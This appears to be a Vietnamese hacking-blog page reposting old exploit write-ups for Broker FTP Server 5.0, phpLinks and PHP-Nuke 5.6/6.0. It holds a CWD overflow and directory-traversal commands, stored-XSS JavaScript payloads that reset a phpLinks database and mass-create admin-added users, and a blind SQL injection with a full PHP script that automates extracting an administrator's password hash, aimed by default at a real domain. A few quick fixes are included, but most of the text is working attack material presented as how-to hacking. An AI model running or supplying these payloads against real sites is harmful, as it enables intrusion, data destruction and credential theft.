http://k.domaindlx.com/clairsang/root/yoursite/default.htm . Và Các Paid hosting cũng không ngaọi trừ khả năng bị hack nếu các hacker đã thực sự muốn hack và sẵn sang bỏ tiền mua một hosting trên cùng một Server. Phần hack paid hosting và domain tôi xin để cho các bạn tự tìm hiểu. Hãy nhớ rằng luôn luôn phải chú ý đến URL Root của mỗi hosting. Ví dụ như ở Cpanel thì URL Root cho các domain hosting là http://[IP Server]/~user .vv
Chúc các bạn thành công

Lỗi bảo mật của Broker FTP Server :


Product : Broker FTP Server
Version : 5.0
OSystem : Windows
Authors : TransSoft
WebSite : http://k.domaindlx.com/clairsang/www.ftp-broker.com/default.htm
Problem :
* Buffer Overflow in field CWD
* Access to all files on a disk

#[Denial of Service]#

Description:
------------
eng:
====
To arrange overflow in field CWD, necessary to send on it more than 256
bytes of dust.
After that server will fall, and will not submit any life attributes.

Exploit:
--------
*************************************
>>Telnet 127.0.0.1:21
220 FTP Server Ready [***]
>>USER anonymous
331 Password required for anonymous.
>>PASS anonymous@localhost
230-Welcome to Broker FTP Server.
230-
230 User anonymous logged in.
CWD AAAAAAAAAAA......AAAAA [256b]
*************************************

#[Access to all files on a disk]#

Description:
------------
rus:
====
&#1047;&#1072; &#1089;&#1095;&#1077;&#1090; &#1101;&#1090;&#1086;&#1081; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1074;&#1099; &#1084;&#1086;&#1078;&#1077;&#1090;&#1077; &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1090;&#1100; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087; &#1082;&#1086; &#1074;&#1089;&#1077;&#1084; &#1092;&#1072;&#1081;&#1083;&#1072;&#1084; &#1085;&#1072;
&#1078;&#1077;&#1089;&#1090;&#1082;&#1086;&#1084; &#1076;&#1080;&#1089;&#1082;&#1077; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1072;
eng:
====
Due to this vulnerability you can get access to all files on a hard drive of the server
Exploits:

Current Directory : "/"
CWD *
CWD /*
CWD /..
CWD /...
CWD /.../

Lỗi bảo mật với Multiple PHPLink, cho phép truy cập với quyền admin


phplinks là một free software được dùng rất phổ biến trong link farm or search engine có lỗi bảo mật cho phép chèn scripts nguy hiểm vào scripts và có quyền giống như một admin sites!
sau đây là chi tiết nội dung :

phpLinks is an open source free PHP script. phpLinks allows you to run a
very powerful link farm or search engine. phpLinks has multilevel site
categorization, infinite threaded search capabilities and
more. phpLinks is very simple to setup
There lies a fault in the include/add.php script that allows a remote
attacker to inject code into the script and have it run as an admin. The
vulnerability comes from improper input validation and improper session
authentication. Below Is some example code that I have written.

Put this in one of the field on "Add Site" form located at
http://blah/phplinks/index.php?show=add&PID=
If you inject the code into the Site Title or Site Url field, the code
will be ran as soon as a logged in administrator views it.

<iframe src=http://blah/death.html></iframe>


Below is the code for the called file "death.html"

---------------------------------------------------------------------------
<script language=JavaScript>
var i = 10; // This is the number of the user ID to start deleting
var BaseURL = "http://victimsite/phplinks/";
window.open(BaseURL + '/admin/reset.php?
reset_in=&reset_out=&search_terms=&referrers=&submit='); // this resets
the database
function Waste()
{
while (i) {
i++;
window.open(BaseURL + 'admin/delete_site.php?dbtable=links&ID=' + i
+ '&sure=Yes');
}
}
</script>
<body onLoad="Waste();">
---------------------------------------------------------------------------


As you can see, that code (when called by a logged in admin validating
sites) is run, the database is in alot of cases going to be left empty. By
the way, the dbtable=links can be changed to dbtable=temp in order to
affect sites not yet approved etc. On the other hand you can add users to
the database and more. Take the following code for example


<iframe src=http://blah/life.html></iframe>


Below is the code for the called file "life.html"



---------------------------------------------------------------------------
<script language=JavaScript>
var i = 1;
var BaseURL = "http://victimsite/phplinks/";
function Gluttony()
{
while (i) {
i++;
window.open(BaseURL + '/admin/add_site.php?SiteName=JeiAr0wnethTheee' + i
+ '&SiteURL=http://www.b' + i + 'j.orfd&Description=' + i
+'3333333333333333333333333333333333&Category=&Country=Turkey.gif&Email=1@t
.' + i + '&UserName=12345' + i
+ '&Password=12345678&Hint=12345678910&add=' + i + '&sure=Yes');
}
}
</script>
<body onLoad="Gluttony();">
---------------------------------------------------------------------------

Once again, when a logged in admin goes to validate sites (unless they
have a popup killer, JS disabled, etc.) they are gonna be adding MANY
users to the database before they really realize what's happening. This
also jolt's the server quit a bit by hogging up resources. You can
basically change almost anything that the admin can by just injecting
code. Also, note that these proof of concept scripts could be altered to
supply large numbers of malformed site submissions, and instead make it
something worse like popunder windows etc. But I do not feel it would be
very good to release a script like that publicly :) Also note that for
whatever reason the most updated norton AV does not pick this script up as
a window bomb. Maybe it's cause my JavaScript is so bastardized it doesn't
recognize the code at all. heheh j/k I put together a quick fix. I am no
php guru, so if there is a better way then please correct me :)


In the includes/add.php file find the following


// Handle form submission
if(isset($submit_add)){

And right below it paste the following code

//////////////////////////////////////////////////////////////////////////
// PHPLinks Critical XSS Vulnerability Fix - By JeiAr - jeiar@kmfms.com //
//////////////////////////////////////////////////////////////////////////
$ip = $REMOTE_ADDR;
$info = $HTTP_USER_AGENT;
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $SiteName)) {$err.= "Please enter
A valid Site Name.";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $SiteURL)) {$err.= "Please enter
A valid Site URL.";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Description)) {$err.= "Enter A
valid Description.";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Category)) {$err.= "Enter A
valid Category.";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Country)) {$err.= "Enter A valid
Country.";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $UserName)) {$err.= "Enter A
valid UserName.";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $PW)) {$err.= "Please enter A
valid Password.";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $PW2)) {$err.= "Please enter A
valid Password.";}
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $Hint)) {$err.= "Please enter A
valid Hint.";}
if ($err) {
echo $err;
echo "<b>Possible Hack Attempt!!</b>";
echo "<b>$ip</b>";
echo "<b>$info</b>";
echo "
Back";
exit;
}
/////////////////////////////////////////////////////////////////////////



There is also a much less serious, but similar issue with the search
feature. You can basically execute just about any JavaScript or HTML code
and maybe more? Here is an example
http://www.blah.org/index.php?term=<scr...</script>
And if you write a script to send many automated malformed search strings,
the code will show up with the most searched for terms on the main search
page, thus running any code you supply on the sites visitors browsers.
Below is a quick fix for that, I basically just ereg the input for invalid
metacharacters.


in includes/results.php find the following

if(isset($term) && strlen($term)>0){

Below it place the following

/////////////////////////////////////////////////////////////////////////
// PHPLinks XSS Vulnerability Fix - By JeiAr - jeiar@kmfms.com 01-2003 //
/////////////////////////////////////////////////////////////////////////
$ip = $REMOTE_ADDR;
$info = $HTTP_USER_AGENT;
if (ereg('[-!#$%&\'"*+\\.<->=?^_`{|}]$', $term)) {$err.= "Please enter A
valid Search Term.";}
if ($err) {
echo $err;
echo "<b>Possible Hack Attempt!!</b>";
echo "<b>$ip</b>";
echo "<b>$info</b>";
echo "
Back";
exit;
}
////////////////////////////////////////////////////////////////////////


One bad thing about the most searched for keywords feature, is that anyone
can put their web page, name, or something obscene as a search term. After
clicking submit xxx number of times, they now have whatever they
want on your main search page. Not really a security issue, but could be
annoying. Don't ya think? And if someone used some CSS they could
basically deface the site in a really lame kinda way ..

Note that this has only been tested on the latest version of phplinks.
Older versions may not be affected but I kinda doubt it.


JeiAr - CyberArmy Security Research ACAT Team

http://www.gulftech.org
http://www.security-research.org
           

Thứ Năm, 17 tháng 2, 2011

Lấy password của Admin user trên PHPnuke 6.0 & 5.6


Product:PHP nuke
Version:6.0 & 5.6
Problem:PHPNuke SQL Injection
http://k.domaindlx.com/clairsang/cgishield.com/default.htm
Ai cũng có thể lấy được password của Admin user trên PHPnuke 6.0 & 5.6
windows+linux method #1
PHPnuke là web portal có open-source đã được sữ dụng rộng rải,có một lổi được tìm thấy đó là điiêù khiiển từ xa qua SQL injection , với cái này nó cho phép lấy cắp password của administrator's password .Với mọt đống lộn xôn của pass, Attacker phải login và có thể vào được CP của admin cho viêc điều khiển hệ thống.
Lỗi này tồn tại trong search enginebao gồm với PHPnuke (/modules/search/). Ở trong file này, CSDL được gọi để làm trích ngoài khoảng trống xung quanh user cung cấp biến. Từ khi database gọi việc chọn thông tin của user từ table,Hacker có thể sữ dụng 'select fish' để tấn công. Nội dung của việc tấn công là hacker xác định giá trị của ký tự đơn ở trong bất kỳ column trong table được chỉ định trong câu lệnh.. Hầu hết các column này là quan trọng để hacker lấy đựoc password của admin nhưng được mã hoá chủ yếu là MD5.
Chỉ có 16 giá trị cho mổi ký tự và tổng cộng 32 ký tự . chọn " fishing" bao gồm việc sữ dụng hàm của MySQL là "mid()" kết quả trã về là true nếu ký tự đoán là đúng, bằng cách này ta có thể set results trên màn hình. Nếu kết quả xuất hiện trên màn hình, Attacker có thể xác định các ký tự đúng,và rồi tiếp tục tiến hành việc đoán ký tự tiếp thoe trong tiến trình.Bất kỳ md5 password cũng có ít nhất 512 (32*16) lần đoán.Khi bạn đoán bằng tay,mất chừng khoảng 20-30 minutes, nhưng khi nó là tự đông bằng chương trình thì mất khoảng vài phút .Chương trình ở cuối tài liệu này.Đây là url đầu tiên mà các hacker khai thác:
http://k.domaindlx.com/clairsang/site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)
=6&type=stories
Khi phpnuke queries the mysql database, nó có dạng sau:
"select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from nuke_stories s, nuke_authors a
where s.aid=a.aid AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR
s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND TO_DAYS(NOW()) - TO_DAYS
(time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10"
Nó kiểm tra admin table để xem nếu ký tự đầu tiên trong trương pwd(password) column có giá trị là 6'.Nếu bất kỳ admin password bắt dầu với giá trị '6', câu chuyện này đươc viết bởi admin sẽ xuất hiện trên màn hình
Nếu admin password không bắt đầu là '6' thì không có chuyện gì ở đây.màn hình sẽ không xuất hiện gì.
example admin's hash: 6a204bd89f3c8348afd5c77c717a097a
Urls gọi như sau:
(*note* in version 6.0 a check for '()' in any GET variable was added on
line 36 of mainfile.php , therefore the following data strings will only
work via POST in version 6.0 or later. The exploit included at the end of
this file works via POST.)
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=1&type=stories NO
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=2&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=3&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=4&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=5&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=6&type=stories Yes
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=7&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=8&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=9&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=0&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(97)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(98)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(99)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(100)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(101)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(102)&type=stories No

Ký tự tiếp theo url có dạng
http://k.domaindlx.com/clairsang/site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1)
=1&type=stories
Đây là đoạn mã đoán tự động
<?php
########## PHPnuke Auto-SelectFish Attacker
########## David_at_cgishield.com
##########Làm việc trên phpnuke 5.6 and 6.0
//Để sữ dụng chương trình này bạn phải save code này và up trên server của bạn hổ trợ PHP
//Nếu PHP time out trước khi trứơc khi tất cã password hash xác định,
// Điều chỉnh maximum script execution time in php.ini
// Thay thế cho các biến sau cho đúng
$server="www.phpnuke.org";
$script="/modules.php";
$data_to_match="Revolution";
$admin_account_name="nukelite";
$beginchar="1";
$endchar="33";
$admin_account_name=urlencode($admin_account_name);
$data_to_match=urlencode($data_to_match);
$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";
for($i=$beginchar;$i<$endchar;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){
$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_acco
unt_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
$data=sendToHost("$server",'post',"$script","$vars");
if (eregi("No matches found to your query","$data")){
}
else{
echo("<br>$i= $i2"); flush();break;}
}
}

function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}
return $buf;
}

?>